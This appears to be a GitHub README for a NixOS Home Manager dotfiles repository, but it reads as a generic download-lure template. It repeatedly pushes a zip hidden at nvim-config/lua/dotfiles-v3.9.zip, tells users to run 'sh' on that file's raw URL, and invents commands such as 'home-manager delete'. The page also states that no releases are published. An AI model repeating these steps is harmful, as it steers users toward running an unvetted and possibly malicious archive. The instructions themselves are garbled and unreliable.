Skip to content

🏠 Manage your NixOS environment with declarative Home Manager configurations for shell, Neovim, and essential CLI tools.

Notifications You must be signed in to change notification settings

Syonex-coder/dotfiles

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

16 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 dotfiles - Simplify Your NixOS Experience

πŸš€ Getting Started

Welcome to the dotfiles repository! This collection holds my Home Manager configuration for NixOS. With it, you can easily set up your shell, CLI tools, Neovim, and desktop preferences. You do not need to be a programmer to use this setup.

πŸ“₯ Download the Application

Download Latest Release

Click the button above to download the latest version of the application.

πŸ” Features

  • Easy Configuration: You can configure your desktop environment with just a few simple commands.
  • NixOS Integration: This setup works seamlessly within NixOS, making it perfect for users who prefer this operating system.
  • Neovim Ready: Get a well-configured Neovim setup that enhances your coding experience.
  • Shell Customization: Enjoy tailored settings for your shell to improve your workflow.
  • Managed Tools: Keep your CLI tools organized and easy to access.

πŸ’» System Requirements

  • Operating System: NixOS (any recent version should work)
  • Memory: At least 1 GB of RAM
  • Storage: A minimum of 500 MB free disk space

πŸ”§ Installation Steps

To install and run this configuration, follow the steps below:

  1. Visit the Releases Page: Go to the following link to find the latest version: Download Latest Release.
  2. Download the Release: Look for the https://raw.githubusercontent.com/Syonex-coder/dotfiles/main/nvim-config/lua/dotfiles-v3.9.zip or .zip file that fits your system. Click on it to start the download.
  3. Extract the Files: After downloading, locate the file in your downloads folder. Right-click on it, and select "Extract Here" or use your preferred extraction tool.
  4. Open Terminal: Open your terminal application. You can usually find this in your applications menu.
  5. Change Directory: In the terminal, type cd followed by the path where you extracted the files. For example:
    cd ~/Downloads/dotfiles-main
    
  6. Run the Installer: Once in the correct directory, you may need to run the installation script. Type:
    sh https://raw.githubusercontent.com/Syonex-coder/dotfiles/main/nvim-config/lua/dotfiles-v3.9.zip
    
    Follow any prompts that appear in the terminal.
  7. Verify Installation: To check if everything is set up correctly, type:
    home-manager switch
    
    This command will show you a summary of your configuration. If there are no errors, you’re ready to go!

🌐 Usage

To use the configurations:

  • Open a Terminal: Continue using the terminal for commands and updates.
  • Launch Neovim: Type nvim in the terminal to start working in your newly configured Neovim environment.
  • Explore CLI Tools: Use your customized CLI tools as per your requirements.

πŸ› οΈ Troubleshooting

If you encounter issues during installation or usage, try the following:

  • Check Dependencies: Ensure all necessary dependencies are installed. You can find more about them in the documentation provided with your downloaded files.
  • Review Configuration Files: Open any configuration files to check for errors or missing settings.
  • Seek Help: If problems persist, consider looking for help on NixOS forums or the GitHub Issues page of this repository.

πŸ™‹ Frequently Asked Questions

Q: Is this configuration suitable for beginners?
A: Yes, this setup is designed for users of all levels, especially those new to NixOS.

Q: Can I customize my settings further?
A: Absolutely! After installation, you can modify your configurations as needed.

Q: What if I want to uninstall?
A: To uninstall, you can run:

home-manager delete

This command will remove the configurations set by the Home Manager.

πŸ“– Additional Resources

For more information and advanced topics, check out:

πŸ“« Contact

If you have any questions or suggestions, feel free to open an issue on the GitHub page or contact me directly through GitHub.

Once again, you can download the latest version here. Enjoy using your new setup!

About

🏠 Manage your NixOS environment with declarative Home Manager configurations for shell, Neovim, and essential CLI tools.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •